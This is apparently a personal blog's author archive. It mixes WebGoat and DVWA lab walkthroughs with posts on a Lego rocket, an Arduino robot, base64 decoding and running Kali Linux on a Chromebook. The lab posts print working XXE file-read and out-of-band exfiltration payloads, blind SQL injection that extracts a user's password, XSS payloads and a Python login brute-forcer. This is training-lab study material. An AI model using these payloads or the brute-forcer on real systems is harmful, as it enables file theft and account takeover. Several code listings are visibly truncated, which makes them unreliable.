Author Archives: Kenneth Larsen


The WebGoat XXE (XML External Entity) section has 3 exercises. The first 2 are pretty easy, the last one quite difficult.
So without further ado, let’s get to it!

Exercise 3

In this exercise you are asked to list the contents of the root file system directly in a comment using XXE. For this, you can use the SYSTEM “file://” entity, as follows:

<?xml version=”1.0″?>
<!DOCTYPE comment [
<!ENTITY xxe SYSTEM “file:///”>

Intercept the request with a proxy and change the POST data to the above. This works on Linux systems, for Windows you should list the contents of C:/ instead of /.

Exercise 4

This one is very simple, do the same as above but with a twist. Initially, the data is sent by JSON not XML. Just change the Content-Type to application/xml in the header.

Page 6

This is not really an exercise, but since the tutorial is full of errors and you have to get it working correctly before trying the next exercise, I have included it.
You are asked to ping the landing page of WebWolf with the test=HelloWorld parameters, using the following attack.dtd file uploaded to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY ping SYSTEM ‘’>

It is important to go to ip:port/landing, NOT ip:port/WebWolf/landing as the tutorial says! Trying to go to /WebWolf/landing constantly returned the error Scanner State 24, which didn’t make much sense. Also, don’t forget to send the parameters, the tutorial doesn’t mention this.

Exercise 7

This exercise builds upon the example on page 6, so it’s important to get that to work first. This time, you are supposed to ping the landing page of WebWolf with the contents of a secret file from the server system. You should do this with an attack file hosted on WebWolf, not listing the file in the comment section of WebGoat (which is much easier).

First, construct and upload the contents_file.dtd to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY % all “<!ENTITY send SYSTEM ‘;’>”>%all;

This pings /landing with the file parameter which we’ll specify later, allowing you to see its contents in WebWolf (Incoming Requests).
Again, write a comment in WebGoat and intercept the POST, changing it to the following:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM “file:///home/tux/.webgoat-8.0.0.M21/XXE/secret.txt”>
<!ENTITY % dtd SYSTEM “”>

This command does two things: reads the secret.txt file and allows it to be referenced as %file; and opens the contents_file.dtd on the WebWolf server, which then pings itself with the contents of %file;.
Now go to Incoming Requests in WebWolf, look at the latest record and copy the parameter (removing URL encoded spaces). Post this message in WebGoat under the cute cat, and you should have solved the exercise!

OWASP WebGoat SQLi mitigation lesson 8

The OWASP WebGoat SQL Injection Mitigation lesson 8 is another blind SQL exercise, very similar to the SQL advanced lesson 5. Actually, I solved it with a similar technique to that one.
The goal is to find the IP of the webgoat-prd server, which is not listed on the page. Try sorting the entries via the GUI and capture the traffic with a proxy. You should see a column parameter in the URL being sent. You can only modify the order by clause of the SQL query being made in the column parameter, but as was explained on the previous page in WebGoat, order by allows you to use case to construct a sub query.
The case construct works like this:

case (true) then something else something_else end

If the case evaluates to true then do the first thing, else do the other thing. Since we are working within the order by clause, there’s really only one thing we can do as then or else, which is sort by one of the returned (column) values. To avoid complicating matters, I used sort by id for true, and sort by IP for false. That way, I could quickly spot if my query was true by checking if the returned data was sorted numerically.
The real question is what to use for the case evaluation. After some messing around I settled on exists and constructed a few queries.

exists(select id from servers where hostname=’webgoat-prd’)

checks if webgoat-prd actually exists in the database. Since the results returned were sorted numerically, it does!

After some trial and error I was able to construct the following final query, which extracts the IP one number at a time. Like in the SQL advanced mission 5, using Burp Intruder makes the task much easier and faster.

http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname=’webgoat-prd’ and substring(ip,1,1)=1) then id else ip end)

If the returned query is sorted by id, then ‘1’ is the first number of the webgoat-prd IP address. As with lesson 5, it is just a question of iterating through all numbers and the starting index of substring. Since we don’t know the length of the IP address beforehand, we should also check for the string ‘.‘ (dot), for example in the 4th and 8th index.

Following the above technique it should be relatively easy to extract the IP address from the database.

OWASP WebGoat SQL advanced lesson 5

Last week I wrote about the OWASP WebGoat XSS lessons. Today I’d like to write a few pointers on how to solve the SQL injection (advanced) lesson 5. The goal is simple: you are presented with a login box and given a username; log in as that user.

The usual username’ OR ‘1’=’1 — unfortunately doesn’t work (that would have been too easy!), and since the last slide talked about blind SQL injection, it was pretty obvious that this was the way to go. After a few unfruitful hours trying to use SLEEP and UNION on the register new user page I started looked online for a hint. What I found was to register a new user, and then register it again with either TRUE or FALSE:

Register new user: testuser
Again register the same user but like this: testuser’ AND ‘1’=’1
Which equates to “testuser and TRUE”. When registering this user, pay attention to the server reply:

User testuser’ and ‘1’=’1 already exists please try to register with a different username.

Now try registering: testuser’ AND ‘1’=’2
Which translates to “testuser and FALSE”. The server now replies:

User testuser’ and ‘1’=’2 created, please proceed to the login page.

At first I thought it literally created the user “testuser’ and ‘1’=’1” but no, it still creates only “testuser” but apparently the added 1=1 means “user already exists”, as opposed to 1=2 meaning user doesn’t exist, although it does (we already created user “testuser”).

Again, since the last slide talked about extracting the database version string with substring(database_version(),1,1)=’1 I tried tagging that on to the username instead of ‘1’=’1. Iterating through all 10 numbers for the database version, I got 2 as the only TRUE statement. Using this technique, I was able to find 2.3.4 as being the database version.

So what other kind of information can we extract using substring? I first tried ‘user’ and ‘username’, but got an error saying the string didn’t exist. ‘userid’ worked though, but I saw no need for that information. In a flash of inspiration I tried ‘password’, and lo and behold, the first letter that equated to TRUE was ‘t’:

tom’ AND substring(password,1,1)=’t

User tom’ AND substring(password,1,1)=’t already exists please try to register with a different username.

As we saw before, ‘1’=’1 equals TRUE and returns “user already exists”, so if the above command returns the same, it must equal TRUE as well. We now have the tool to extract Tom’s password!

At this point I got tired of going through all characters manually and fired up Burp and configured BURP Intruder for a sniper attack. There’s only 1 parameter to fuzz, the very last letter in the string. This is very easy to do with Intruder with the following settings:

Attack type: Sniper
Payload: Brute Forcer
Character set: abcdefghijklmnopqrstuvwxyz0123456789
Min length: 1
Max length: 1

To find a hit, sort the results by length. A successful hit is slightly longer than a miss.

Each time I got a hit I changed the start position of substring (2nd parameter) and ran intruder again. Within half an hour I had poor Tom’s password!

OWASP WebGoat XSS lessons

I recently installed WebGoat, a deliberately vulnerable web app with built-in lessons. While some of the lessons are very easy, they quickly rise to a much higher difficulty. Even though the app does explain the basic concepts, the explanations are nowhere good enough to solve the exercises provided.

In this post I’ll focus on the Cross-Site Scripting (XSS) lessons, which I was recently able to solve.

After having installed WebGoat, you may want to access it from another client. You can do this by launching it with the –server.address=x.x.x.x parameter. Also, if you don’t want to reconfigure Burp or ZAP, –server.port=8081 allows you to run WebGoat on a different port from the default 8080 which these proxies normally use.

The first 2 XSS lessons are pretty straight-forward and I won’t talk about them (however, see here). However, on lesson 10 I started having difficulties: I didn’t really understand what they were asking for (“what is the route for the test code that stayed in the app during production”)? Turns out you have to dig through the javascript source code and look for some kind of test code. The first time you answer incorrectly you’ll get a hint on where to look. The difficulty for me was in finding out exactly the answer they wanted. Looking in GoatRouter.js (as the hint suggests), you’ll find the following key/value pairs:

routes: {
‘welcome’: ‘welcomeRoute’,
‘lesson/:name’: ‘lessonRoute’,
‘lesson/:name/:pageNum’: ‘lessonPageRoute’,
‘test/:param’: ‘testRoute’,
‘reportCard’: ‘reportCard’

Try playing around with these routes; as the lesson suggests, the base route for the lesson is start.mvc#lesson/. What is the route for reportCard? Try accessing start.mvc#reportCard.
Now for the test code: Of the 5 routes we have in the above code, it’s obviously the ‘test/:param’:’testRoute’ part we are interested in. How does this translate as a base route? If the lesson base route is start.mvc#lesson/, it should follow the same premise. Forget about the :param and testRoute part, we won’t need that until later.

Lesson 11 is where things start to get really interesting. Having identified the base route for the test code, we are now asked to run the code. Try accessing the test code in the browser (base route + parameters as seen in GoatRouter.js).

Now that’s interesting. It seems as if what we wrote in the URL gets reflected in the page. Try writing something else after test/, like the classic <script>alert(1)</script>:

Remember to URL-encode the / in </script>, or it won’t work (as %2F).

So we now know that the parameters after the base route get reflected in the page. Since the reflected part never gets sent to the server, this is DOM-based XSS. However, in this mission we are not interested in getting a pop-up, but in running the phoneHome test code and getting its output from the browser console (Firefox: right-click -> Inspect Element -> Console). So how do we run the code? If <script>alert()… allow us to get a pop-up box, which tags allow us to run javascript code (stop reading here if you want to figure out the rest yourself)?

One possible way is:


Run this, and look in the console.log:

‘phone home said {“lessonCompleted”:true,”feedback”:”Congratulations. You have successfully completed the assignment.”,”output”:”phoneHome Response is -1798806219″}’

The ‘Response’ is obviously the answer to the mission.

Lesson 13 is a continuation of what we learned in lesson 11. This time you are the evil hacker trying to steal everyone else’s session on a message board. Or rather, you want to insert a stored bit of XSS that other potential users will inadvertently execute. I had a lot of trouble with this mission, and even though I believe I’ve solved it the way they want me to, it still shows as unsolved in the stats.
After a lot of trial and error I tried inserting the base javascript webgoat.customjs.phoneHome() into a message using the <embed src=””> tag. There are other ways to execute it, like <script src=”javascript:webgoat.customjs.phoneHome();”></script>. They all pretty much do the same thing, execute the javascript and generate a new mission Response code.

As I said, even though I input the code in the mission and the page says “Yes, that is the correct value”, it still shows as unsolved in the mission stats. The lesson link however is green, as in a solved mission. A bug?


This YouTube video by Lim Jet Wee might be helpful for lesson 10. 

DVWA login brute-forcer in Python

I recently started playing around with the Damn Vulnerable Web Application, a PHP/MySQL web app for security researchers and students. It is, as the name implies, damn vulnerable.

After installation of DVWA you’ll be presented with a login page. Unless you supply the user and password from the manual you’ll have to get access some other way. Fruitlessly trying some SQL injection I decided to simply brute force the login, and used Burp Suite to get some more information. Turns out that all you need to login is the username, password, user token and a session id. The session id is provided in a cookie, the user token by the login page, and the username and password is of course what we need to find.

<input name="user_token" type="hidden" value="d3b0fabcd22dd8ad5f202f508777f8b8" />

While manually supplying a few user names and passwords I found out that the login page responds with a 302 Found HTTP response, either forwarding back to the login page in case of a failed login, or to index.php in case of a successful login (I already knew the default user name and password from the manual). Going back to the index.php resulted in a new user token being generated, but ignoring the forward meant I could continue supplying the same user token again and again.

I wrote the brute forcer in python using BeautifulSoup, requests and re, all python modules. The program is pretty simple: request the login page, find and extract the user token from within the login page, get the session id from the cookie, and return these plus a random username and password with a HTTP POST method.

Running this script with a supplied list of user names and passwords meant I was able to find the login in just a few seconds. The script is tailored to DVWA but could easily be customised for other vulnerable sites.


from bs4 import BeautifulSoup
import requests
import re

# url to attack
url = ""

# get users
user_file = "users.txt"
fd = open(user_file, "r")
users = fd.readlines()

# get passwords
password_file = "passwords.txt"
fd = open(password_file, "r")
passwords = fd.readlines()

# Changes to True when user/pass found
done = False

print("Attacking " + url + "\n")

# Get login page
    r = requests.get(url, timeout=5)
except ConnectionRefusedError:
    print("Unable to reach server! Quitting!")

# Extract session_id (next 2 lines are from
session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
session_id =

print("Session_id: " + session_id)
cookie = {"PHPSESSID": session_id}

# prepare soup
soup = BeautifulSoup(r.text, "html.parser")

# get user_token value
user_token = soup.find("input", {"name":"user_token"})["value"]

print("User_token: " + user_token + "\n")

for user in users:
    user = user.rstrip()
    for password in passwords:
            if not done:
                password = password.rstrip()
                payload = {"username": user,
                    "password": password,
                    "Login": "Login",
                    "user_token": user_token}

                reply =, payload, cookies=cookie, allow_redirects=False)

                result = reply.headers["Location"]

                print("Trying: " + user + ", " + password, end="\r", flush=True)

                if "index.php" in result:
                    print("Success! \nUser: " + user + " \nPassword: " + password)
                    done = True

Decoding base64 in Python

This is a small tutorial for beginners on how to decode base64 text strings in Python3. While Python does have a function to directly encode and decode base64, it is always good practice to try and write one yourself if you are a new programmer.

Head over to Wikipedia to see how base64 is decoded. First, each character in the encoded string is assigned a number according to the base64 table. This number is then translated to 6 bit binary.

You can do this in Python by including the base64 table as a dictionary, and iterating through all characters in the encoded string, like this:

for char in string:
    if char in index.keys():
        bin_string += 

The last line formats the decimal value to 6-bit binary ({0:06b}). As the highest value in the base64 table is 63 (for the / character), 6 bits are exactly enough to hold it and no information will be lost (0b111111 = 63).

The above loop creates one long binary string (bin_string) which should now be partitioned in bytes (8 bits) and converted to ASCII. This can be accomplished with the following loop:

while len(bin_string) >= 8:
    byte = bin_string[1:8]
    char = chr(int(byte, 2))
    output += char
    bin_string = bin_string[8:]

This code iterates through the binary string until it’s less than 8 bits long (which should be the end), takes the first byte and converts it to ASCII (actually, Unicode) using the chr function. This could also be done by including an ASCII table and using that to convert, just like we did in the beginning with the base64 table. I’ll leave that as an exercise.
Finally, it removes the first byte from the binary string which we just converted, and the loop continues to the next byte.

If you use print(output) now, it should display the decoded string.

To make the script a little more intuitive you can incorporate the argparse module which allows the coded string to be included as an argument while running the script, like this:

python --TWFu

Where ‘TWFu’ is an encoded string.

The code for argparse is as follows:

import argparse

parser = argparse.ArgumentParser(Description="")
parser.add_argument('--string', dest='string',     
args = parser.parse_args()

The string to decode then becomes args.string when called in the subsequent code.

Happy coding!

The full script can be found at github.

Lego 21309 Saturn V Review

In April 2017 Lego unveiled the new Lego Ideas Saturn V rocket, a project I had supported on Lego Ideas. As soon as I saw the final model and its price tag, I knew I had to get it.

The wait was rather long since it got sold out at the Lego online store on the very first day, but I was finally able to get it in July, around the time of the 48th anniversary of the first Moon landing (actually I built it around these days).

The set retails at 120€ and has 1969(!) pieces, and measures one meter high. It has an incredible attention to detail as you’ll see on the following photos.

Inside the box there are 12 numbered bags and an instruction manual with a short description of the real rocket and how the model was designed by Lego. Experienced Lego builders may notice there are no stickers: all parts are printed!

The stages of the rocket consist of an inner structure to give stability and to allow the outer panels to be attached. There’s a bunch of clever connections like seen above. The gap seen coincides with the riveted pieces that will be attached later.

Some steps are repeated four times like with the above panel pieces, but even so the model is a very interesting build.

Strange use of pieces

I did scratch my head a few times due to the strange use of pieces. The above 6×1 panel piece is attached with jumpers instead of 2×1 flat pieces. The only reason I can think of is to cut costs, I suppose jumpers are slightly cheaper that 2×1 pieces, allowing Lego to keep the price of the model low.

Instead of using a single trussed piece on the Launch Escape System Lego has used 16 nozzle pieces – genius! Since there’s a Technic axle through the center the structure is very solid and won’t come apart.

There’s an incredible level of detail to the F-1 engines on the first stage. the nozzles are made up of barrels in gun metal grey plastic.

1st and 2nd stages

The 1st and 2nd stage finished together with a drawing I once made through a telescope of some Lunar craters. The stages are very robust and don’t easily fall apart. While I wouldn’t want to drop them, I have no fear of handling them and they have a very satisfying ‘click’ when they are put together.

Lego astronaut to scale

Lego has included 4 micro figures to scale. I’m not sure who the 4th astronaut is supposed to be, but here’s Mike Collins to indicate the gigantic proportions of the rocket. Truly a magnificent machine!

CSM splashed down and LEM on the Moon

Apart from the rocket, two smaller ‘vignettes’ are included: The Lunar Excursion Module (LEM) touched down on the Moon with Neil Armstrong and Buzz Aldrin, and the CM splashed down on Earth. The LEM can be put inside the rocket in its proper place just behind the CSM, while there’s an extra CM with its white protective cover for use on the rocket.


Another way to display the CSM and LEM as they would be on their way to and around the Moon. This does however use the Service Module from the rocket, as there are no spares.

A closer look at the 2nd stage. The black dots is a printed piece, as well as the lettering of course. Both the 1st and 2nd stages are almost completely round, and made up of 2×3 curved pieces. I believe the technical term is SNOT, Studs Not On Top.

Lego Saturn V on stands

And lastly, the Lego Saturn V in all its glory! At 1 meter long, the model is a sight to behold, and in my opinion very well worth its 120€ price tag.

As a child I had dozens of Lego kits and several Lego Technic kits when I got older. In my opinion, the Saturn V is the best set Lego has ever made. It is a decorative, well-detailed model that is fun to build and stays very true to the original rocket. It is also very educational, since it allows one to simulate the Moon mission in all its steps. It’s no wonder it’s completely sold out everywhere as of the time of writing, but more will be on the way.

Arduino Lego Robot – Update 2

Eyes and Brainz

In the past few days I’ve been busy installing the brain of my Arduino Lego robot, namely the Raspberry Pi, and making a mount for the Raspberry Camera to allow it to pan and tilt. If you haven’t read the first entry of my robot blog, you can do so here.

The Raspberry Pi is running Gentoo Linux, my favourite Linux distro. Installation was straightforward using the wiki and cross-compiling the software on my Gentoo desktop. The Arduino is connected directly to the Raspberry via USB and communicates over serial. All my robot code is done in Python (except for C++ for the Arduino), but since I’m still working on that I’ll focus on the mechanical parts in this blog update.

At this point the robot is basically completed mechanically.

I’ve installed the Raspberry Pi on top of the robot with some strategically placed Lego beams and axles. It sits just clear of the Arduino and its shield underneath it. The power supply for the Raspberry is a mobile phone power pack slung underneath the robot with rubber bands. The Arduino uses a 9V battery which also powers the 2 servo motors for the camera mount. Lastly, the robot Lego motors are powered by a Lego 9V (actually 7,2V) power pack on the back.

Underside view showing the battery pack for the Raspberry Pi and the 2 Lego motors.

I’m communicating with the robot via WiFi from either my desktop PC or laptop. At this time I just connect the Raspberry to my router but I’ll probably make a hotspot on my laptop to be able to take the robot out into the field. Since communications never leave the LAN I don’t experience too much lag and can easily pilot the robot in real time.

Camera mount

For the camera mount I chose not to use Lego parts as it would become too bulky and I couldn’t really find a way to attach the servos to them without having to modify the Lego parts. Only the lower servo is attached to Lego, for the upper servo I made a simple frame from some spare metal and attached that to the servo plastic arms. The camera is attached to the upper servo with double-sided tape.

Due to the limitations of the servos the camera rotates only +/- 50 degrees from center (up and down). I think the servos are good up till +/- 70 degrees but I prefer to keep a margin not to damage them. As of now the camera is controlled from the PC with the arrow keys in 10 degree increments and a key to recenter it. It works well, but I’ll probably look into programming a more fluid movement, possibly using a gamepad.

Front View

My next task will be modifying the code to show the live video feed within Pygame instead of a separate VLC window, and generally modifying and cleaning up my code. Especially the networking part needs a good look through.

Whenever I have something new to show I’ll write the next entry, but expect it to be focused on the software not the hardware. Oh, and I’ll soon make a video of the robot in action!

Arduino Lego Robot – Update 1

I’ve been building  an Arduino powered Lego tracked robot on and off for the past half year, and have finally come to the point where there’s something to show.

I didn’t take long to realize that I had to become proficient in programming and not just patch together other people’s code from the web, so I took a crash course in Python (using the excellent book Python Crash Course by Eric Matthes) and became familiar with C and C++ for the Arduino code.

After a few months of coding I’m finally at the point where it is all coming together. I’ve had the basic Lego robot built for months but never really programmed it to do anything other than running forward and stopping. The robot is built of parts from the Lego Crawler Crane kit (#42042), it’s basically the tracked base with some modifications like a motor for each track to allow steering. The motors are controlled via the Arduino (see my first blog entry), which in turn is controlled with a Python program on my PC via the serial monitor. The plan is to have a Raspberry Pi as the onboard PC, which in turn will be controlled via Wifi from another PC or laptop.

Back view of the robot

Top View

At the moment the robot is controlled with a simple Python program using the WASD keyboard keys, allowing forward and backward movement and turning. This works relatively well, with about a 1 second delay.

I took the video below when testing the serial communications; at that point I had only programmed forward movement.

I have attached the Arduino code below. It waits for a serial command to actuate the motors. If you intend to use this code yourself, be aware that some lines may be split because of the narrow WordPress theme format (should be fixed by now).

// Tank movement controlled via serial commands
// Works with Adafruit Motor Shield v.2.3
// Written by Kenneth Larsen, 2017

#include <Wire.h>
#include <Adafruit_MotorShield.h>
#include "utility/Adafruit_MS_PWMServoDriver.h"

// Create the motor shield object with the default I2C address
Adafruit_MotorShield AFMS = Adafruit_MotorShield();

// Select ports for motors: M1 - M4. 
Adafruit_DCMotor *Motor1 = AFMS.getMotor(1);
Adafruit_DCMotor *Motor2 = AFMS.getMotor(2);

String input; // input for Serial
int c = -20; // error correction
int FULLSPEED = 255;
int HALFSPEED = 126;

void setup()
 AFMS.begin(); // create with the default frequency of 1,6KHz

void moveForward()
// Define forward movement
 Serial.println("Moving forward...");
 uint8_t i;
 for ( i = 30 ; i < 255 ; i++ ) // accelerate slowly
 Motor1->setSpeed(FULLSPEED); // maintain max speed

void moveBackward()
// Define backward movement
 Serial.println("Moving backward...");
 uint8_t i;
 for ( i = 30 ; i < 255 ; i++ ) // accelerate slowly
 Motor1->setSpeed(FULLSPEED); // maintain max speed

void turnLeft()
// Define left turns
 Serial.println("Turning left...");

void turnRight()
// Define right turns
 Serial.println("Turning right...");

void stopMovement()
// Define stopping
 Motor1->run(RELEASE); // stop motors

void loop()
 if (Serial.available() > 0)
 input = Serial.readString();
 if (input == "forward")
 if (input == "backward")
 if (input == "left")
 if (input == "right")
 if (input == "stop")

The Python code uses pygame to grab the keystrokes and send them to the Arduino via serial. I’ll split this program into two, one for the PC to send the commands and receive video, and another for the Raspberry Pi to forward the commands to the Arduino and send video directly from the Raspicam to the PC. This will be done over WiFi to make the robot completely cordless, and with better range than if I went with Bluetooth (and better security!).

# Serial control for Arduino robot
# Written by Kenneth Larsen, 2017
import serial, sys
import pygame

# Initialize pygame
pygame.display.set_caption("Robot Control Center")
screen = pygame.display.set_mode((640,480))

# Initialize serial connection
 ser = serial.Serial('/dev/ttyACM1', 115200)
except serial.serialutil.SerialException:
 ser = serial.Serial('/dev/ttyACM0', 115200)
 except serial.serialutil.SerialException:
 print("No serial connection found. Is the Arduino connected?\n")

# Define stop keys. Releasing any of these keys will cause the robot to stop
stopkeys = (pygame.K_w, pygame.K_a, pygame.K_s, pygame.K_d)

def quitprogram():
 """Handles program shut down."""
 print("Stopping robot and exiting...\n")
 # Stop motors

# Main loop
while True:
 for event in pygame.event.get():
 if event.type == pygame.QUIT:
 # Keyboard controls
 if event.type == pygame.KEYDOWN:
 if event.key == pygame.K_q:
 if event.key == pygame.K_w:
 if event.key == pygame.K_s:
 if event.key == pygame.K_a:
 elif event.key == pygame.K_d:
 elif event.type == pygame.KEYUP:
 if event.key in stopkeys:
 #if event.key == pygame.K_w or pygame.K_s or pygame.K_a or pygame.K_d:
 # Update display

This is just the initial programming of the robot. I’ve tried to keep everything as simple as possible to assure that it all works.

Next step will be to get the Raspberry Pi on the robot and connect the Arduino directly to it. I’m currently experimenting with sending live video from the Raspberry over Python. The next update will hopefully focus on this, with the robot controlled over WiFi from a laptop.

Part 2 is now available!

Running Linux on the Asus C201PA Chromebook

I was recently looking for a cheap laptop to run Linux on, mostly for programming. I settled on the Asus C201PA Chromebook for two reasons: I have good experience with Asus Hardware, and there were many success stories of people running Linux on it.

Kali Linux have an image available for the Chromebook Flip, which is almost identical to the C201PA. Installation is really straightforward, but I’m going to detail how I did it here since I ran into a few issues.

First, put the Chromebook into Developer Mode (warning: this will erase all personal data in ChromeOS). This lets you boot other operating systems. To do this, hold down ESC + REFRESH (F3) and touch the Power button. When the Chromebook reboots, select Recovery, then press CTRL + D. This boots ChromeOS in Developer Mode.

Once booted, press CTRL + ALT + T to open the terminal. Write


to get the shell, then

sudo su

to get root. In order to boot Linux from a microSD or USB drive, run the command

crossystem dev_boot_usb=1

which enables USB booting.

Now you need to prepare the MicroSD (or USB) drive with Kali Linux. Download the Kali Linux image to your computer (or Chromebook) and run

xzcat kali-$version-veyron.img.xz | dd of=/dev/sdx bs=512k

Substituting $version with the specific version you downloaded. /dev/sdx would be your MicroSD card or USB drive (be extra careful to get it right, as the dd command will erase your drive!).

This is where I started to run into a small issue: The Kali image is made for an 8 GiB drive, and I was using a 16 GiB. This meant 8 GiB completely unusable space on the drive. To solve this, you need to use parted and cgpt (cgpt is part of vboot-utils) to change the size of the root partition:

parted /dev/sdx

Where /dev/sdx is once again your Kali drive. Parted will complain that not all the space appears to be used, and that it can fix it for you. Let it do so. Unfortunately, we are not done yet. If you try to boot Kali now, you will find that the drive is unbootable.

You’ll have to run

cgpt show /dev/sdx

And write down the number in the column Start at the row Sec GPT table. We need this number to calculate the size of the root partition for the next command:

cgpt add -i 2 -t data -b 40960 -s `expr X – 40960` -l Root /dev/sdx

where X is the number you just found. Careful, the “`” is the key to the left of the “1” (on UK keyboards).

Repair the partition layout using

cgpt repair /dev/sdx

Re-add the boot partitions by

cgpt add -i 1 -S 1 -T 5 -P 10 -l KERN-A /dev/sdx
cgpt add -i 2 -S 1 -T 5 -P 5 -l KERN-B /dev/sdx

And finally, expand the root filesystem by:

mount /dev/sdx2 /mnt/tmp

Assuming /mnt/tmp exits, and then

resize2fs /dev/sdx2


Finally, the microSD or USB drive is ready! Plug it into the Chromebook, power it on, and press CTRL + U at the white boot screen to boot from USB. Kali Linux should now boot and present you with the login screen. Username is root, password is toor.

You should change the root password with ‘passwd’, and if you decide to use Kali for everyday use, I’d recommend adding a new user with

useradd -m -s /bin/bash (username)
passwd (username)

And then install and use sudo for when you need elevated privileges.


Apart from Kali, it is also possible to install and run Arch Linux. I have it running on another microSD card, but have to solve some issues before I’m happy with it (probably related to the framebuffer).

I’ve also tried installing Gentoo Linux, and got as far as running it but was unable to get the network adaptors working. They need pre-compiled modules that I was not able to load. If I ever get it working, I’ll make a new blog post about it. Gentoo is what I’m running on my desktop and Raspberry Pi, and would prefer to run it on the Chromebook too.

I’m also debating whether to move Kali or Arch to the internal memory, wiping ChromeOS. I have still to make that decision, though.